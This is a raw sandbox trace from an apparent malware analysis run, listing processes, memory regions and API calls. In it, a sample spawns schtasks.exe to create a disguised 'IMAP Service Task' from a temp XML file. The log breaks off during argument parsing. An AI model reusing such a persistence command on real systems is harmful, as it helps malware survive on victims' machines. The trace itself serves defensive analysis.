[0178.076] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60
[0178.080] exit (_Code=0)
Thread:
id = 19
os_tid = 0xb74
Process:
id = "5"
image_name = "taskeng.exe"
filename = "c:\\windows\\system32\\taskeng.exe"
page_root = "0x7aed3000"
os_pid = "0x5c8"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "created_scheduled_job"
parent_id = "4"
os_parent_pid = "0xb60"
cmd_line = "taskeng.exe {05965D02-66FE-4C30-84EF-49C2DFC0C57D} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]"
cur_dir = "C:\\Windows\\system32\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 20
os_tid = 0x85c
Thread:
id = 21
os_tid = 0x514
Thread:
id = 22
os_tid = 0x64c
Thread:
id = 23
os_tid = 0x5e0
Thread:
id = 24
os_tid = 0x5d4
Thread:
id = 25
os_tid = 0x5cc
Process:
id = "6"
image_name = "schtasks.exe"
filename = "c:\\windows\\syswow64\\schtasks.exe"
page_root = "0x198c8000"
os_pid = "0xb78"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "3"
os_parent_pid = "0xaf8"
cmd_line = "\"schtasks.exe\" /create /f /tn \"IMAP Service Task\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp\""
cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 597
start_va = 0x10000
end_va = 0x2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 598
start_va = 0x30000
end_va = 0x31fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 599
start_va = 0x40000
end_va = 0x40fff
entry_point = 0x40000
region_type = mapped_file
name = "apisetschema.dll"
filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")
Region:
id = 600
start_va = 0x50000
end_va = 0x53fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000050000"
filename = ""
Region:
id = 601
start_va = 0x60000
end_va = 0x60fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000060000"
filename = ""
Region:
id = 602
start_va = 0x210000
end_va = 0x24ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000210000"
filename = ""
Region:
id = 603
start_va = 0x260000
end_va = 0x29ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000260000"
filename = ""
Region:
id = 604
start_va = 0xa90000
end_va = 0xabdfff
entry_point = 0xa90000
region_type = mapped_file
name = "schtasks.exe"
filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")
Region:
id = 605
start_va = 0x77c50000
end_va = 0x77df8fff
entry_point = 0x77c50000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 606
start_va = 0x77e30000
end_va = 0x77faffff
entry_point = 0x77e30000
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 607
start_va = 0x7efb0000
end_va = 0x7efd2fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007efb0000"
filename = ""
Region:
id = 608
start_va = 0x7efdb000
end_va = 0x7efddfff
entry_point = 0x0
region_type = private
name = "private_0x000000007efdb000"
filename = ""
Region:
id = 609
start_va = 0x7efde000
end_va = 0x7efdefff
entry_point = 0x0
region_type = private
name = "private_0x000000007efde000"
filename = ""
Region:
id = 610
start_va = 0x7efdf000
end_va = 0x7efdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007efdf000"
filename = ""
Region:
id = 611
start_va = 0x7efe0000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007efe0000"
filename = ""
Region:
id = 612
start_va = 0x7ffe0000
end_va = 0x7ffeffff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 613
start_va = 0x7fff0000
end_va = 0x7fffffeffff
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 614
start_va = 0xc0000
end_va = 0x13ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000000c0000"
filename = ""
Region:
id = 615
start_va = 0x75360000
end_va = 0x75367fff
entry_point = 0x75360000
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 616
start_va = 0x75370000
end_va = 0x753cbfff
entry_point = 0x75370000
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 617
start_va = 0x753d0000
end_va = 0x7540efff
entry_point = 0x753d0000
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 618
start_va = 0x10000
end_va = 0x1ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 619
start_va = 0x20000
end_va = 0x2ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000020000"
filename = ""
Region:
id = 620
start_va = 0x140000
end_va = 0x1a6fff
entry_point = 0x140000
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 621
start_va = 0x2f0000
end_va = 0x3effff
entry_point = 0x0
region_type = private
name = "private_0x00000000002f0000"
filename = ""
Region:
id = 622
start_va = 0x4e0000
end_va = 0x4effff
entry_point = 0x0
region_type = private
name = "private_0x00000000004e0000"
filename = ""
Region:
id = 623
start_va = 0x75440000
end_va = 0x75448fff
entry_point = 0x75440000
region_type = mapped_file
name = "ktmw32.dll"
filename = "\\Windows\\SysWOW64\\ktmw32.dll" (normalized: "c:\\windows\\syswow64\\ktmw32.dll")
Region:
id = 624
start_va = 0x75980000
end_va = 0x7598bfff
entry_point = 0x75980000
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 625
start_va = 0x75990000
end_va = 0x759effff
entry_point = 0x75990000
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 626
start_va = 0x75a30000
end_va = 0x75a48fff
entry_point = 0x75a30000
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 627
start_va = 0x75bb0000
end_va = 0x75bf5fff
entry_point = 0x75bb0000
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 628
start_va = 0x75fd0000
end_va = 0x760dffff
entry_point = 0x75fd0000
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 629
start_va = 0x760e0000
end_va = 0x7617ffff
entry_point = 0x760e0000
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 630
start_va = 0x76180000
end_va = 0x761d6fff
entry_point = 0x76180000
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 631
start_va = 0x763c0000
end_va = 0x763c9fff
entry_point = 0x763c0000
region_type = mapped_file
name = "lpk.dll"
filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")
Region:
id = 632
start_va = 0x763e0000
end_va = 0x764dffff
entry_point = 0x763e0000
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 633
start_va = 0x764e0000
end_va = 0x7656efff
entry_point = 0x764e0000
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 634
start_va = 0x76670000
end_va = 0x7671bfff
entry_point = 0x76670000
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 635
start_va = 0x775d0000
end_va = 0x776bffff
entry_point = 0x775d0000
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 636
start_va = 0x776c0000
end_va = 0x7781bfff
entry_point = 0x776c0000
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 637
start_va = 0x77820000
end_va = 0x778affff
entry_point = 0x77820000
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 638
start_va = 0x77990000
end_va = 0x77a2cfff
entry_point = 0x77990000
region_type = mapped_file
name = "usp10.dll"
filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")
Region:
id = 639
start_va = 0x77a30000
end_va = 0x77b4efff
entry_point = 0x0
region_type = private
name = "private_0x0000000077a30000"
filename = ""
Region:
id = 640
start_va = 0x77b50000
end_va = 0x77c49fff
entry_point = 0x0
region_type = private
name = "private_0x0000000077b50000"
filename = ""
Region:
id = 641
start_va = 0x7efe0000
end_va = 0x7f0dffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007efe0000"
filename = ""
Region:
id = 642
start_va = 0x7f0e0000
end_va = 0x7ffdffff
entry_point = 0x0
region_type = private
name = "private_0x000000007f0e0000"
filename = ""
Region:
id = 643
start_va = 0x4f0000
end_va = 0x677fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004f0000"
filename = ""
Region:
id = 644
start_va = 0x76720000
end_va = 0x767ebfff
entry_point = 0x76720000
region_type = mapped_file
name = "msctf.dll"
filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")
Region:
id = 645
start_va = 0x77570000
end_va = 0x775cffff
entry_point = 0x77570000
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 646
start_va = 0x30000
end_va = 0x36fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 647
start_va = 0x70000
end_va = 0x71fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000070000"
filename = ""
Region:
id = 648
start_va = 0x80000
end_va = 0x91fff
entry_point = 0x80000
region_type = mapped_file
name = "schtasks.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui")
Region:
id = 649
start_va = 0xa0000
end_va = 0xa0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000a0000"
filename = ""
Region:
id = 650
start_va = 0xb0000
end_va = 0xb0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000000b0000"
filename = ""
Region:
id = 651
start_va = 0x680000
end_va = 0x800fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000680000"
filename = ""
Region:
id = 652
start_va = 0xac0000
end_va = 0x1ebffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000ac0000"
filename = ""
Region:
id = 653
start_va = 0x757a0000
end_va = 0x757a8fff
entry_point = 0x757a0000
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")
Region:
id = 654
start_va = 0x1ec0000
end_va = 0x218efff
entry_point = 0x1ec0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 655
start_va = 0x752d0000
end_va = 0x7534ffff
entry_point = 0x752d0000
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 656
start_va = 0x810000
end_va = 0x92ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000810000"
filename = ""
Region:
id = 657
start_va = 0x3f0000
end_va = 0x4cefff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000003f0000"
filename = ""
Region:
id = 658
start_va = 0x950000
end_va = 0x98ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000000950000"
filename = ""
Region:
id = 659
start_va = 0x9f0000
end_va = 0xa2ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000009f0000"
filename = ""
Region:
id = 660
start_va = 0x7efd8000
end_va = 0x7efdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007efd8000"
filename = ""
Region:
id = 661
start_va = 0x1b0000
end_va = 0x1b0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001b0000"
filename = ""
Region:
id = 662
start_va = 0x76890000
end_va = 0x76912fff
entry_point = 0x76890000
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 663
start_va = 0x1c0000
end_va = 0x1c0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001c0000"
filename = ""
Region:
id = 664
start_va = 0x748b0000
end_va = 0x7492cfff
entry_point = 0x748b0000
region_type = mapped_file
name = "taskschd.dll"
filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll")
Thread:
id = 26
os_tid = 0xb7c
[0180.725] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x29f9e4 | out: lpSystemTimeAsFileTime=0x29f9e4*(dwLowDateTime=0x726fe9d0, dwHighDateTime=0x1d3f29b))
[0180.725] GetCurrentProcessId () returned 0xb78
[0180.725] GetCurrentThreadId () returned 0xb7c
[0180.725] GetTickCount () returned 0x31718
[0180.725] RtlQueryPerformanceCounter () returned 0x1
[0180.726] GetModuleHandleA (lpModuleName=0x0) returned 0xa90000
[0180.726] __set_app_type (_Type=0x1)
[0180.726] __p__fmode () returned 0x767131f4
[0180.726] __p__commode () returned 0x767131fc
[0180.726] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xaa7881) returned 0x0
[0180.726] __wgetmainargs (in: _Argc=0xab9e6c, _Argv=0xab9e74, _Env=0xab9e70, _DoWildCard=0, _StartInfo=0xab9e80 | out: _Argc=0xab9e6c, _Argv=0xab9e74, _Env=0xab9e70) returned 0
[0180.726] _onexit (_Func=0xab0fe2) returned 0xab0fe2
[0180.726] _onexit (_Func=0xab0ff3) returned 0xab0ff3
[0180.726] _onexit (_Func=0xab1002) returned 0xab1002
[0180.726] _onexit (_Func=0xab101e) returned 0xab101e
[0180.726] _onexit (_Func=0xab103a) returned 0xab103a
[0180.727] _onexit (_Func=0xab1056) returned 0xab1056
[0180.727] _onexit (_Func=0xab1072) returned 0xab1072
[0180.727] _onexit (_Func=0xab108e) returned 0xab108e
[0180.727] _onexit (_Func=0xab10aa) returned 0xab10aa
[0180.727] _onexit (_Func=0xab10c6) returned 0xab10c6
[0180.727] _onexit (_Func=0xab10e2) returned 0xab10e2
[0180.727] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0180.727] WinSqmIsOptedIn () returned 0x0
[0180.727] SetLastError (dwErrCode=0x0)
[0180.727] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
[0180.727] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
[0180.727] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
[0180.727] VerifyVersionInfoW (in: lpVersionInformation=0x29f45c, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x29f45c) returned 1
[0180.727] lstrlenW (lpString="") returned 0
[0180.728] SetThreadUILanguage (LangId=0x0) returned 0x409
[0180.728] SetLastError (dwErrCode=0x0)
[0180.728] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.728] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x305958, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20
[0180.728] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x757a0000
[0180.729] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoSizeW") returned 0x757a19d9
[0180.729] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744
[0180.729] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoW") returned 0x757a19f4
[0180.729] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x305b68 | out: lpData=0x305b68) returned 1
[0180.729] GetProcAddress (hModule=0x757a0000, lpProcName="VerQueryValueW") returned 0x757a1b51
[0180.730] VerQueryValueW (in: pBlock=0x305b68, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x29f564, puLen=0x29f568 | out: lplpBuffer=0x29f564*=0x305f04, puLen=0x29f568) returned 1
[0180.730] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.730] _vsnwprintf (in: _Buffer=0x305958, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x29f54c | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37
[0180.730] VerQueryValueW (in: pBlock=0x305b68, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x29f574, puLen=0x29f570 | out: lplpBuffer=0x29f574*=0x305d30, puLen=0x29f570) returned 1
[0180.730] lstrlenW (lpString="schtasks.exe") returned 12
[0180.730] lstrlenW (lpString="schtasks.exe") returned 12
[0180.730] lstrlenW (lpString=".EXE") returned 4
[0180.730] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe"
[0180.731] lstrlenW (lpString="schtasks.exe") returned 12
[0180.731] lstrlenW (lpString=".EXE") returned 4
[0180.731] _memicmp (_Buf1=0x304b18, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.731] lstrlenW (lpString="schtasks") returned 8
[0180.731] _memicmp (_Buf1=0x304b78, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.731] _memicmp (_Buf1=0x304b90, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.731] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3065f0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17
[0180.731] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23
[0180.731] _vsnwprintf (in: _Buffer=0x306548, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x29f550 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29
[0180.731] SetLastError (dwErrCode=0x0)
[0180.731] GetThreadLocale () returned 0x409
[0180.731] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.731] lstrlenW (lpString="?") returned 1
[0180.731] GetThreadLocale () returned 0x409
[0180.731] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.731] lstrlenW (lpString="create") returned 6
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] lstrlenW (lpString="delete") returned 6
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] lstrlenW (lpString="query") returned 5
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] lstrlenW (lpString="change") returned 6
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] lstrlenW (lpString="run") returned 3
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] lstrlenW (lpString="end") returned 3
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] lstrlenW (lpString="showsid") returned 7
[0180.732] GetThreadLocale () returned 0x409
[0180.732] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0180.732] SetLastError (dwErrCode=0x0)
[0180.732] SetLastError (dwErrCode=0x0)
[0180.732] lstrlenW (lpString="/create") returned 7
[0180.732] lstrlenW (lpString="-/") returned 2
[0180.732] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.732] lstrlenW (lpString="?") returned 1
[0180.732] lstrlenW (lpString="?") returned 1
[0180.732] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.732] lstrlenW (lpString="create") returned 6
[0180.732] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.732] _vsnwprintf (in: _Buffer=0x304bc0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3
[0180.732] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8
[0180.732] lstrlenW (lpString="|?|") returned 3
[0180.732] lstrlenW (lpString="|create|") returned 8
[0180.732] SetLastError (dwErrCode=0x490)
[0180.732] lstrlenW (lpString="create") returned 6
[0180.732] lstrlenW (lpString="create") returned 6
[0180.732] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.732] lstrlenW (lpString="create") returned 6
[0180.732] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.732] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8
[0180.732] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8
[0180.732] lstrlenW (lpString="|create|") returned 8
[0180.732] lstrlenW (lpString="|create|") returned 8
[0180.732] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|"
[0180.732] SetLastError (dwErrCode=0x0)
[0180.733] SetLastError (dwErrCode=0x0)
[0180.733] SetLastError (dwErrCode=0x0)
[0180.733] lstrlenW (lpString="/f") returned 2
[0180.733] lstrlenW (lpString="-/") returned 2
[0180.733] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0180.733] lstrlenW (lpString="?") returned 1
[0180.733] lstrlenW (lpString="?") returned 1
[0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] lstrlenW (lpString="f") returned 1
[0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|?|") returned 3
[0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.733] lstrlenW (lpString="|?|") returned 3
[0180.733] lstrlenW (lpString="|f|") returned 3
[0180.733] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0
[0180.733] SetLastError (dwErrCode=0x490)
[0180.733] lstrlenW (lpString="create") returned 6
[0180.733] lstrlenW (lpString="create") returned 6
[0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] lstrlenW (lpString="f") returned 1
[0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|create|") returned 8
[0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.733] lstrlenW (lpString="|create|") returned 8
[0180.733] lstrlenW (lpString="|f|") returned 3
[0180.733] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0
[0180.733] SetLastError (dwErrCode=0x490)
[0180.733] lstrlenW (lpString="delete") returned 6
[0180.733] lstrlenW (lpString="delete") returned 6
[0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] lstrlenW (lpString="f") returned 1
[0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|delete|") returned 8
[0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.733] lstrlenW (lpString="|delete|") returned 8
[0180.733] lstrlenW (lpString="|f|") returned 3
[0180.733] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0
[0180.733] SetLastError (dwErrCode=0x490)
[0180.733] lstrlenW (lpString="query") returned 5
[0180.733] lstrlenW (lpString="query") returned 5
[0180.733] _memicmp (_Buf1=0x304ba8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] lstrlenW (lpString="f") returned 1
[0180.733] _memicmp (_Buf1=0x304bd8, _Buf2=0xa91ed8, _Size=0x7) returned 0
[0180.733] _vsnwprintf (in: _Buffer=0x305210, _BufferCount=0x8, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|query|") returned 7
[0180.733] _vsnwprintf (in: _Buffer=0x3051f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29f538 | out: _Buffer="|f|") returned 3
[0180.734] lstrlenW (lpString="|query|") returned 7
[0180.734] lstrlenW (lpString="|f|") returned 3
